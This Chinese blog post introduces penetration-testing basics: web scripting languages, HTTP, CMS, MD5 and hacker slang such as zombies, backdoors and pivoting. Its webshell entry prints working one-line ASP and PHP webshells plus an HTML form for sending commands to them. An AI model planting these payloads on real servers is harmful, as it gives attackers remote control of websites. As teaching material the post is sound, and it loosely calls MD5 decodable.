说来也惭愧,菜鸟小白已经干了三年安全产品的测试,但是对于渗透测试都不曾好好了解,一直停留在基础功能测试和自动化测试的摸索上。正好我们组内在组织渗透测试的全套课程学习,将会从最基础的内容开始学起,学习的内容菜鸟小白也会整理出来,一起分享。
今天我们一起来看看一些基础概念吧。
基础概念
1、脚本(asp、php、jsp)
ASP:ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本标记语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。
PHP:PHP即“超文本预处理器”,是一种通用开源脚本语言。PHP是在服务器端执行的脚本语言,与C语言类似,是常用的网站编程语言。
JSP:JSP(全称JavaServer Pages)是由Sun Microsystems公司主导创建的一种动态网页技术标准。JSP部署于网络服务器上,可以响应客户端发送的请求,并根据请求内容动态地生成HTML、XML或其他格式文档的Web网页,然后返回给请求者。
2、html(css、js、html)
html:HTML称为超文本标记语言,是一种标识性的语言。它包括一系列标签.通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声音、表格、链接等。
3、HTTP协议
HTTP:http是一个简单的请求-响应协议,它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以ASCII码形式给出;而消息内容则具有一个类似MIME的格式。
4、CMS(B/S)
CMS:内容管理系统(content management system,CMS),我们这边一般使用的B/S架构,也就是浏览器访问的方式。另外还有一种C/S架构,就是通过应用程序的访问方式。
5、MD5
MD5:MD5信息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。渗透测试中一般密码的解码需要使用。
6、其它概念
肉鸡:被黑客入侵并被长期驻扎的计算机或服务器
抓鸡:利用使用量大的程序的漏洞,使用自动化方式获取肉鸡的行为
webshell:通过web入侵的一种脚本工具,可以据此对网站服务进行一定程度的控制
漏洞:硬件、软件、协议等可利用的安全缺陷,可能被攻击者利用,对数据进行篡改、控制等。
一句话木马:通过向服务器提交一句简短的代码,配合本地客户端实现webshell功能的木马。
举例:
<%eval request("pass")%>
<%execute(request("pass"))%>
其中request("pass")接收客户端提交的数据,pass为执行命令的参数值。
eval/execute,函数执行客户端命令的内容
又如:PHP的一句话木马
<?php eval($_POST[123]);?>
下面的代码可以用POST的方式提交PHP语句,利用php脚本的各种函数,就可以实现执行系统命令、修改数据库、增删改查等各种功能。
<form method=post action=http://木马地址>
<textarea name=123>
//这里写PHP代码
phpinfo();
</textarea>
<input type=submit>
</form>
提权:操作系统低权限的账户将自己提升为管理员权限使用的方法。
后门:黑客为了对主机进行长期的控制没在机器上种植的一段程序或留下的一个“入口”
跳板:使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息
旁站:同一个物理服务器下搭建的多个网站。如:服务器下有三个网站A、B、C,B和C就是A的旁站。